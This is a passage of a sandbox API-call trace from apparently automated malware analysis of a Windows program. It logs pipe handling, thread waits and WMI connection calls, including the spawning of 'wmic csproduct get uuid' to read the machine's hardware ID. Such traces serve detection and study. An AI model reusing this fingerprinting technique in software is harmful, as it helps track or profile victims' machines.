ftLastAccessTime.dwHighDateTime=0x1dac836, ftLastWriteTime.dwLowDateTime=0xde745e4d, ftLastWriteTime.dwHighDateTime=0x1d5acdd, nFileSizeHigh=0x0, nFileSizeLow=0x80a00)) returned 1 [0283.016] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc000a2d380, nSize=0x64 | out: lpBuffer="") returned 0x35 [0283.016] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.exe" (normalized: "c:\\windows\\system32\\wbem\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00002b630 | out: lpFileInformation=0xc00002b630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde745e4d, ftCreationTime.dwHighDateTime=0x1d5acdd, ftLastAccessTime.dwLowDateTime=0x2b75b326, ftLastAccessTime.dwHighDateTime=0x1dac836, ftLastWriteTime.dwLowDateTime=0xde745e4d, ftLastWriteTime.dwHighDateTime=0x1d5acdd, nFileSizeHigh=0x0, nFileSizeLow=0x80a00)) returned 1 [0283.016] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0x374 [0283.016] GetConsoleMode (in: hConsoleHandle=0x374, lpMode=0xc00002ba6c | out: lpMode=0xc00002ba6c) returned 0 [0283.016] GetFileType (hFile=0x374) returned 0x2 [0283.016] CreatePipe (in: hReadPipe=0xc00002bac8, hWritePipe=0xc00002bac0, lpPipeAttributes=0xc00002bad0, nSize=0x0 | out: hReadPipe=0xc00002bac8*=0x1dc, hWritePipe=0xc00002bac0*=0x1f4) returned 1 [0283.017] CreatePipe (in: hReadPipe=0xc00002ba90, hWritePipe=0xc00002ba88, lpPipeAttributes=0xc00002ba98, nSize=0x0 | out: hReadPipe=0xc00002ba90*=0x31c, hWritePipe=0xc00002ba88*=0x1ec) returned 1 [0283.017] GetEnvironmentStringsW () returned 0x15bae0* [0283.018] FreeEnvironmentStringsW (penv=0x15bae0) returned 1 [0283.018] RtlGetNtVersionNumbers () returned 0xf0004a61 [0283.018] GetCurrentProcess () returned 0xffffffffffffffff [0283.018] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x374, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000745560, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000745560*=0x1e8) returned 1 [0283.018] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000745568, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000745568*=0x1a0) returned 1 [0283.018] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1ec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000745570, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000745570*=0x360) returned 1 [0283.019] InitializeProcThreadAttributeList (in: lpAttributeList=0x0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xc00002b810 | out: lpAttributeList=0x0, lpSize=0xc00002b810) returned 0 [0283.019] InitializeProcThreadAttributeList (in: lpAttributeList=0xc00074bf40, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xc00002b810 | out: lpAttributeList=0xc00074bf40, lpSize=0xc00002b810) returned 1 [0283.019] UpdateProcThreadAttribute (in: lpAttributeList=0xc00074bf40, dwFlags=0x0, Attribute=0x20002, lpValue=0xc000745560, cbSize=0x18, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc00074bf40, lpPreviousValue=0x0) returned 1 [0283.019] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\wmic.exe", lpCommandLine="wmic csproduct get uuid", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80400, lpEnvironment=0xc000022400, lpCurrentDirectory=0x0, lpStartupInfo=0xc00002ba20*(cb=0x70, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1e8, hStdOutput=0x1a0, hStdError=0x360), lpProcessInformation=0xc00002b900 | out: lpCommandLine="wmic csproduct get uuid", lpProcessInformation=0xc00002b900*(hProcess=0x35c, hThread=0x358, dwProcessId=0xe8, dwThreadId=0x14ac)) returned 1 [0283.029] CloseHandle (hObject=0x358) returned 1 [0283.029] DeleteProcThreadAttributeList (in: lpAttributeList=0xc00074bf40 | out: lpAttributeList=0xc00074bf40) [0283.029] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x360, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0283.029] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1a0, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0283.029] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1e8, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0283.030] CloseHandle (hObject=0x374) returned 1 [0283.030] CancelIoEx (hFile=0x1f4, lpOverlapped=0x0) returned 0 [0283.030] CloseHandle (hObject=0x1f4) returned 1 [0283.030] CancelIoEx (hFile=0x1ec, lpOverlapped=0x0) returned 0 [0283.030] CloseHandle (hObject=0x1ec) returned 1 [0283.030] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0xffffffff) returned 0x0 [0284.783] GetExitCodeProcess (in: hProcess=0x35c, lpExitCode=0xc00002bc64 | out: lpExitCode=0xc00002bc64*=0x0) returned 1 [0284.783] GetProcessTimes (in: hProcess=0x35c, lpCreationTime=0xc000996fe0, lpExitTime=0xc000996fe8, lpKernelTime=0xc000996ff0, lpUserTime=0xc000996ff8 | out: lpCreationTime=0xc000996fe0, lpExitTime=0xc000996fe8, lpKernelTime=0xc000996ff0, lpUserTime=0xc000996ff8) returned 1 [0284.783] CloseHandle (hObject=0x35c) returned 1 [0284.783] PostQueuedCompletionStatus (CompletionPort=0x170, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0284.784] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0284.816] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0285.136] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0285.207] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0289.693] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0289.788] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0299.908] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0309.810] PostQueuedCompletionStatus (CompletionPort=0x170, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0309.810] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) Thread: id = 15 os_tid = 0x1630 [0181.669] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x4d39fd78, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4d39fd78*=0x184) returned 1 [0181.669] GetCurrentThreadId () returned 0x1630 [0181.669] CreateWaitableTimerExW (lpTimerAttributes=0x0, lpTimerName=0x0, dwFlags=0x2, dwDesiredAccess=0x100003) returned 0x1b4 [0181.669] VirtualQuery (in: lpAddress=0x4d39fd98, lpBuffer=0x4d39fd98, dwLength=0x30 | out: lpBuffer=0x4d39fd98*(BaseAddress=0x4d39f000, AllocationBase=0x4d1a0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0181.669] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1b8 [0181.669] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1bc [0181.669] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0xffffffff) returned 0x0 [0181.673] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x4d3a0000 [0181.677] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x4d3e0000 [0181.680] SetEvent (hEvent=0x114) returned 1 [0181.680] SetEvent (hEvent=0x1ac) returned 1 [0181.680] SwitchToThread () returned 1 [0181.689] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0xffffffff) returned 0x0 [0181.695] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0xffffffff) returned 0x0 [0184.056] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0xffffffff) returned 0x0 [0184.061] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0xffffffff) returned 0x0 [0184.085] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0xffffffff) returned 0x0 [0184.161] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0xffffffff) returned 0x0 [0184.217] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0xffffffff) returned 0x0 [0184.603] SetEvent (hEvent=0x1ac) returned 1 [0184.604] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0xffffffff) returned 0x0 [0184.627] SetEvent (hEvent=0x114) returned 1 [0184.627] SwitchToThread () returned 1 [0184.628] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0xffffffff) returned 0x0 [0184.710] SetEvent (hEvent=0x114) returned 1 [0184.710] SetEvent (hEvent=0x1ac) returned 1 [0184.710] SwitchToThread () returned 1 [0184.737] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0xffffffff) returned 0x0 [0189.878] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0xffffffff) returned 0x0 [0190.268] SetEvent (hEvent=0x1ac) returned 1 [0190.269] ReadFile (in: hFile=0x2e4, lpBuffer=0xc00072c800, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000255d14, lpOverlapped=0x0 | out: lpBuffer=0xc00072c800*, lpNumberOfBytesRead=0xc000255d14*=0x20, lpOverlapped=0x0) returned 1 [0191.700] ReadFile (in: hFile=0x2e4, lpBuffer=0xc00012e820, nNumberOfBytesToRead=0x3e0, lpNumberOfBytesRead=0xc000255d14, lpOverlapped=0x0 | out: lpBuffer=0xc00012e820*, lpNumberOfBytesRead=0xc000255d14*=0x23, lpOverlapped=0x0) returned 1 [0191.700] ReadFile (in: hFile=0x2e4, lpBuffer=0xc00012e843, nNumberOfBytesToRead=0x3bd, lpNumberOfBytesRead=0xc000255d14, lpOverlapped=0x0 | out: lpBuffer=0xc00012e843, lpNumberOfBytesRead=0xc000255d14*=0x0, lpOverlapped=0x0) returned 0 [0191.854] CancelIoEx (hFile=0x2e4, lpOverlapped=0x0) returned 0 [0191.855] CloseHandle (hObject=0x2e4) returned 1 [0191.855] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0xffffffff) returned 0x0 [0191.936] SetEvent (hEvent=0x114) returned 1 [0191.936] ReadFile (in: hFile=0x2dc, lpBuffer=0xc0004b8000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000029d6c, lpOverlapped=0x0 | out: lpBuffer=0xc0004b8000, lpNumberOfBytesRead=0xc000029d6c*=0x0, lpOverlapped=0x0) returned 0 [0195.712] CancelIoEx (hFile=0x2dc, lpOverlapped=0x0) returned 0 [0195.712] CloseHandle (hObject=0x2dc) returned 1 [0195.713] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0xffffffff) returned 0x0 [0283.100] ReadFile (in: hFile=0x31c, lpBuffer=0xc00064a000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000027d6c, lpOverlapped=0x0 | out: lpBuffer=0xc00064a000, lpNumberOfBytesRead=0xc000027d6c*=0x0, lpOverlapped=0x0) returned 0 [0284.783] CancelIoEx (hFile=0x31c, lpOverlapped=0x0) returned 0 [0284.783] CloseHandle (hObject=0x31c) returned 1 [0284.783] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0xffffffff) Thread: id = 16 os_tid = 0xf88 [0181.804] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x4d65fd78, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4d65fd78*=0x1c8) returned 1 [0181.804] GetCurrentThreadId () returned 0xf88 [0181.804] CreateWaitableTimerExW (lpTimerAttributes=0x0, lpTimerName=0x0, dwFlags=0x2, dwDesiredAccess=0x100003) returned 0x1cc [0181.804] VirtualQuery (in: lpAddress=0x4d65fd98, lpBuffer=0x4d65fd98, dwLength=0x30 | out: lpBuffer=0x4d65fd98*(BaseAddress=0x4d65f000, AllocationBase=0x4d460000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0181.804] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1d0 [0181.804] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1d4 [0181.804] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0xffffffff) Thread: id = 17 os_tid = 0x1cc [0185.524] CRpcThreadCache::RpcWorkerThreadEntry () Thread: id = 18 os_tid = 0x104 Thread: id = 19 os_tid = 0x110c Thread: id = 20 os_tid = 0x3ac [0185.942] malloc (_Size=0x100) returned 0xa37780 [0185.942] __dllonexit () returned 0x7fffab995c10 [0185.942] __dllonexit () returned 0x7fffab995c30 [0185.942] __dllonexit () returned 0x7fffab995c50 [0186.067] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x138f30 [0186.075] GetVersionExW (in: lpVersionInformation=0x4deee490*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x4deee6e8, dwBuildNumber=0x0, dwPlatformId=0x4deee590, szCSDVersion="") | out: lpVersionInformation=0x4deee490*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0186.075] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x4deee480 | out: phkResult=0x4deee480*=0x2f0) returned 0x0 [0186.077] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Default Impersonation Level", lpReserved=0x0, lpType=0x0, lpData=0x4deee474, lpcbData=0x4deee470*=0x4 | out: lpType=0x0, lpData=0x4deee474*=0x3, lpcbData=0x4deee470*=0x4) returned 0x0 [0186.077] RegCloseKey (hKey=0x2f0) returned 0x0 [0186.077] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x14bef0 [0186.077] GetSystemDirectoryW (in: lpBuffer=0x14bef0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0186.077] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fffcb600000 [0186.078] GetProcAddress (hModule=0x7fffcb600000, lpProcName="DuplicateTokenEx") returned 0x7fffcb6175d0 [0186.078] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0186.078] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x146e60 [0186.078] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x14bef0 [0186.079] ResolveDelayLoadedAPI () returned 0x7fffcbc09fc0 [0186.080] CoCreateInstance (in: rclsid=0x7fffab9cec50*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fffab9cec60*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x14bf20 | out: ppv=0x14bf20*=0x1390d0) returned 0x0 [0186.091] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x12aac0 [0186.091] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x12ab50 [0186.091] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x147160 [0186.091] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0186.094] GetCurrentThreadId () returned 0x3ac [0186.131] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0186.433] LoadRegTypeLib (in: rguid=0x7fffab9ceb10*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x4deee918*=0x0 | out: pptlib=0x4deee918*=0x152370) returned 0x0 [0186.527] ITypeLib:GetTypeInfoOfGuid (in: This=0x152370, GUID=0x14bf58*(Data1=0x76a6415b, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), ppTInfo=0x14bf40 | out: ppTInfo=0x14bf40*=0x153158) returned 0x0 [0186.528] IUnknown:Release (This=0x152370) returned 0x1 [0186.528] IUnknown:AddRef (This=0x153158) returned 0x2 [0186.528] DispGetIDsOfNames (in: ptinfo=0x153158, rgszNames=0x13b3c0*="ConnectServer", cNames=0x1, rgdispid=0x13b3f0 | out: rgdispid=0x13b3f0*=1) returned 0x0 [0186.528] IUnknown:Release (This=0x153158) returned 0x1 [0186.533] IUnknown:AddRef (This=0x153158) returned 0x2 [0186.533] ITypeInfo:LocalInvoke (This=0x153158) returned 0x0 [0186.533] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0186.533] GetCurrentThreadId () returned 0x3ac [0186.533] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x4deee1f8 | out: phkResult=0x4deee1f8*=0x30c) returned 0x0 [0186.533] RegQueryValueExW (in: hKey=0x30c, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x4deee1f0*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x4deee1f0*=0x16) returned 0x0 [0186.534] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x159500 [0186.534] RegQueryValueExW (in: hKey=0x30c, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x159500, lpcbData=0x4deee1f0*=0x16 | out: lpType=0x0, lpData=0x159500*=0x72, lpcbData=0x4deee1f0*=0x16) returned 0x0 [0186.534] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x159480 [0186.534] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0186.534] RegCloseKey (hKey=0x30c) returned 0x0 [0186.534] CoCreateInstance (in: rclsid=0x7fffab9cecd0*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fffab9cece0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x4deee230 | out: ppv=0x4deee230*=0x1630d0) returned 0x0 [0186.556] SysStringLen (param_1=".") returned 0x1 [0186.557] WbemDefPath:IWbemPath:SetServer (This=0x1630d0, Name=".") returned 0x0 [0186.557] CoCreateInstance (in: rclsid=0x7fffab9cecd0*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fffab9cece0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x4deee1a0 | out: ppv=0x4deee1a0*=0x165200) returned 0x0 [0186.557] CoCreateInstance (in: rclsid=0x7fffab9cecd0*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fffab9cece0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x4deee128 | out: ppv=0x4deee128*=0x1652c0) returned 0x0 [0186.557] WbemDefPath:IWbemPath:SetText (This=0x1652c0, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0186.557] WbemDefPath:IUnknown:Release (This=0x1652c0) returned 0x0 [0186.557] SysStringLen (param_1="root\\cimv2") returned 0xa [0186.557] WbemDefPath:IWbemPath:SetText (This=0x165200, uMode=0xc, pszPath="root\\cimv2") returned 0x0 [0186.558] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x165200, puCount=0x4deee1f0 | out: puCount=0x4deee1f0*=0x2) returned 0x0 [0186.558] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1630d0) returned 0x0 [0186.558] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x165200, uIndex=0x0, puNameBufLength=0x4deee170*=0x0, pName=0x0 | out: puNameBufLength=0x4deee170*=0x5, pName=0x0) returned 0x0 [0186.558] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x1590a0 [0186.558] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x165200, uIndex=0x0, puNameBufLength=0x4deee170*=0x5, pName="root" | out: puNameBufLength=0x4deee170*=0x5, pName="root") returned 0x0 [0186.558] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0186.558] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1630d0, uIndex=0x0, pszName="root") returned 0x0 [0186.558] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x165200, uIndex=0x1, puNameBufLength=0x4deee170*=0x0, pName=0x0 | out: puNameBufLength=0x4deee170*=0x6, pName=0x0) returned 0x0 [0186.558] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x159560 [0186.558] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x165200, uIndex=0x1, puNameBufLength=0x4deee170*=0x6, pName="" | out: puNameBufLength=0x4deee170*=0x6, pName="cimv2") returned 0x0 [0186.558] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0186.558] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1630d0, uIndex=0x1, pszName="cimv2") returned 0x0 [0186.558] WbemDefPath:IUnknown:Release (This=0x165200) returned 0x0 [0186.558] WbemDefPath:IWbemPath:GetText (in: This=0x1630d0, lFlags=4, puBuffLength=0x4deee1f0*=0x0, pszText=0x0 | out: puBuffLength=0x4deee1f0*=0xf, pszText=0x0) returned 0x0 [0186.558] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x158880 [0186.558] WbemDefPath:IWbemPath:GetText (in: This=0x1630d0, lFlags=4, puBuffLength=0x4deee1f0*=0xf, pszText="" | out: puBuffLength=0x4deee1f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0186.559] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0186.559] WbemDefPath:IUnknown:Release (This=0x1630d0) returned 0x0 [0186.601] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1390d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x4deee2c0 | out: ppNamespace=0x4deee2c0*=0x1638e0) returned 0x0 [0188.276] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x16bc90 [0188.276] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x13ee10 [0188.276] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x166d50 [0188.276] WbemLocator:IUnknown:QueryInterface (in: This=0x1638e0, riid=0x7fffab9c9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deee0b8 | out: ppvObject=0x4deee0b8*=0x16c978) returned 0x0 [0188.276] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x16c978, pProxy=0x1638e0, pAuthnSvc=0x4deee0b0, pAuthzSvc=0x4deee0f8, pServerPrincName=0x0, pAuthnLevel=0x4deee158, pImpLevel=0x4deee100, pAuthInfo=0x0, pCapabilites=0x4deee0e0 | out: pAuthnSvc=0x4deee0b0*=0xa, pAuthzSvc=0x4deee0f8*=0x0, pServerPrincName=0x0, pAuthnLevel=0x4deee158*=0x6, pImpLevel=0x4deee100*=0x2, pAuthInfo=0x0, pCapabilites=0x4deee0e0*=0x1) returned 0x0 [0188.276] WbemLocator:IUnknown:Release (This=0x16c978) returned 0x1 [0188.276] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.277] GetCurrentThreadId () returned 0x3ac [0188.277] WbemLocator:IUnknown:QueryInterface (in: This=0x1638e0, riid=0x7fffab9c9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deee110 | out: ppvObject=0x4deee110*=0x16c978) returned 0x0 [0188.277] WbemLocator:IClientSecurity:CopyProxy (in: This=0x16c978, pProxy=0x1638e0, ppCopy=0x4deee108 | out: ppCopy=0x4deee108*=0x164300) returned 0x0 [0188.277] WbemLocator:IUnknown:QueryInterface (in: This=0x164300, riid=0x7fffab9c9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deedfd0 | out: ppvObject=0x4deedfd0*=0x16c978) returned 0x0 [0188.277] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x16c978, pProxy=0x164300, pAuthnSvc=0x4deee024, pAuthzSvc=0x4deee028, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x4deee024*=0xa, pAuthzSvc=0x4deee028*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0188.277] WbemLocator:IUnknown:Release (This=0x16c978) returned 0x3 [0188.277] WbemLocator:IUnknown:QueryInterface (in: This=0x164300, riid=0x7fffab9c98a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deedf90 | out: ppvObject=0x4deedf90*=0x16c9c0) returned 0x0 [0188.277] WbemLocator:IUnknown:QueryInterface (in: This=0x164300, riid=0x7fffab9c9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deedfd0 | out: 